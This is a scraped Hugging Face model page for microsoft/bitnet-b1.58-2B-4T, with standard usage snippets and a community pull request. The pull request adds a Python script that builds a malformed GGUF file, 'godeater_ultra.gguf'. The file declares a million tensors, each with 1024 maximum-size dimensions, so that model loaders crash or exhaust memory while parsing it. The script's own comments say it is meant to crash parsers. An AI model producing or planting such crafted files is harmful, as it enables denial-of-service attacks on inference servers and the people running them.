Text Generation
Transformers
Safetensors
English
bitnet
chat
large-language-model
conversational
custom_code
8-bit precision
Instructions to use microsoft/bitnet-b1.58-2B-4T with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use microsoft/bitnet-b1.58-2B-4T with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="microsoft/bitnet-b1.58-2B-4T", trust_remote_code=True) messages = [ {"role": "user", "content": "Who are you?"}, ] pipe(messages)# Load model directly from transformers import AutoTokenizer, AutoModelForCausalLM tokenizer = AutoTokenizer.from_pretrained("microsoft/bitnet-b1.58-2B-4T", trust_remote_code=True) model = AutoModelForCausalLM.from_pretrained("microsoft/bitnet-b1.58-2B-4T", trust_remote_code=True) messages = [ {"role": "user", "content": "Who are you?"}, ] inputs = tokenizer.apply_chat_template( messages, add_generation_prompt=True, tokenize=True, return_dict=True, return_tensors="pt", ).to(model.device) outputs = model.generate(**inputs, max_new_tokens=40) print(tokenizer.decode(outputs[0][inputs["input_ids"].shape[-1]:])) - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use microsoft/bitnet-b1.58-2B-4T with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "microsoft/bitnet-b1.58-2B-4T" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "microsoft/bitnet-b1.58-2B-4T", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'Use Docker
docker model run hf.co/microsoft/bitnet-b1.58-2B-4T
- SGLang
How to use microsoft/bitnet-b1.58-2B-4T with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "microsoft/bitnet-b1.58-2B-4T" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "microsoft/bitnet-b1.58-2B-4T", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "microsoft/bitnet-b1.58-2B-4T" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/chat/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "microsoft/bitnet-b1.58-2B-4T", "messages": [ { "role": "user", "content": "What is the capital of France?" } ] }' - Docker Model Runner
How to use microsoft/bitnet-b1.58-2B-4T with Docker Model Runner:
docker model run hf.co/microsoft/bitnet-b1.58-2B-4T
Upload I’m.py
#45
by Pandabytebamboo - opened
I’m.py
ADDED
|
@@ -0,0 +1,77 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import struct
|
| 2 |
+
|
| 3 |
+
# -----------------------------
|
| 4 |
+
# CONFIG — THE MATHEMATICAL CEILING
|
| 5 |
+
# -----------------------------
|
| 6 |
+
FILENAME = "godeater_ultra.gguf"
|
| 7 |
+
|
| 8 |
+
GGUF_VERSION = 3
|
| 9 |
+
TYPE_F32 = 0 # 4 bytes per element
|
| 10 |
+
|
| 11 |
+
# Limits
|
| 12 |
+
MAX_U32 = 4294967295
|
| 13 |
+
MAX_U64 = 18446744073709551615
|
| 14 |
+
MAX_I64 = 9223372036854775807
|
| 15 |
+
|
| 16 |
+
# We'll use a massive amount of dimensions and tensors
|
| 17 |
+
# Note: Most parsers will crash instantly attempting to allocate the dim array
|
| 18 |
+
N_DIMENSIONS = 1024 # Technically can go to MAX_U32, but 1024 is already "infinite"
|
| 19 |
+
NUM_TENSORS = 1000000
|
| 20 |
+
|
| 21 |
+
ALIGNMENT = 32
|
| 22 |
+
|
| 23 |
+
# -----------------------------
|
| 24 |
+
# Helpers
|
| 25 |
+
# -----------------------------
|
| 26 |
+
def write_u32(f, x): f.write(struct.pack("<I", x))
|
| 27 |
+
def write_u64(f, x): f.write(struct.pack("<Q", x))
|
| 28 |
+
def write_i64(f, x): f.write(struct.pack("<q", x))
|
| 29 |
+
|
| 30 |
+
# -----------------------------
|
| 31 |
+
# Build GGUF
|
| 32 |
+
# -----------------------------
|
| 33 |
+
print(f"[*] Constructing {FILENAME}...")
|
| 34 |
+
|
| 35 |
+
with open(FILENAME, "wb") as f:
|
| 36 |
+
# 1. Header
|
| 37 |
+
f.write(b"GGUF")
|
| 38 |
+
write_u32(f, GGUF_VERSION)
|
| 39 |
+
write_u64(f, NUM_TENSORS) # Number of tensors
|
| 40 |
+
write_u64(f, 0) # Metadata KV count
|
| 41 |
+
|
| 42 |
+
# 2. Tensor Info (The Metadata)
|
| 43 |
+
for i in range(NUM_TENSORS):
|
| 44 |
+
name = f"depths_of_madness_{i}".encode()
|
| 45 |
+
|
| 46 |
+
write_u64(f, len(name))
|
| 47 |
+
f.write(name)
|
| 48 |
+
|
| 49 |
+
write_u32(f, N_DIMENSIONS)
|
| 50 |
+
|
| 51 |
+
# Every dimension is MAX_I64
|
| 52 |
+
for _ in range(N_DIMENSIONS):
|
| 53 |
+
write_i64(f, MAX_I64)
|
| 54 |
+
|
| 55 |
+
write_u32(f, TYPE_F32)
|
| 56 |
+
write_u64(f, 0) # Offset (all pointing to index 0)
|
| 57 |
+
|
| 58 |
+
# 3. Data Padding
|
| 59 |
+
pos = f.tell()
|
| 60 |
+
pad_len = (ALIGNMENT - (pos % ALIGNMENT)) % ALIGNMENT
|
| 61 |
+
f.write(b"\x00" * pad_len)
|
| 62 |
+
|
| 63 |
+
# 4. The "Data" (The actual file size remains tiny)
|
| 64 |
+
f.write(b"\xFF" * 4096)
|
| 65 |
+
|
| 66 |
+
# -----------------------------
|
| 67 |
+
# The Math
|
| 68 |
+
# -----------------------------
|
| 69 |
+
# Total params = Tensors * (Max_I64 ^ N_Dimensions)
|
| 70 |
+
params_per_tensor = MAX_I64 ** N_DIMENSIONS
|
| 71 |
+
total_params = params_per_tensor * NUM_TENSORS
|
| 72 |
+
|
| 73 |
+
print(f"\n[+] File Created: {FILENAME}")
|
| 74 |
+
print(f"[+] Dimensions per tensor: {N_DIMENSIONS}")
|
| 75 |
+
print(f"[+] Total Tensors: {NUM_TENSORS:,}")
|
| 76 |
+
print(f"[+] Total Parameters: ~10^({(N_DIMENSIONS * 18.96) + 6:.0f})")
|
| 77 |
+
# 18.96 is roughly log10(MAX_I64)
|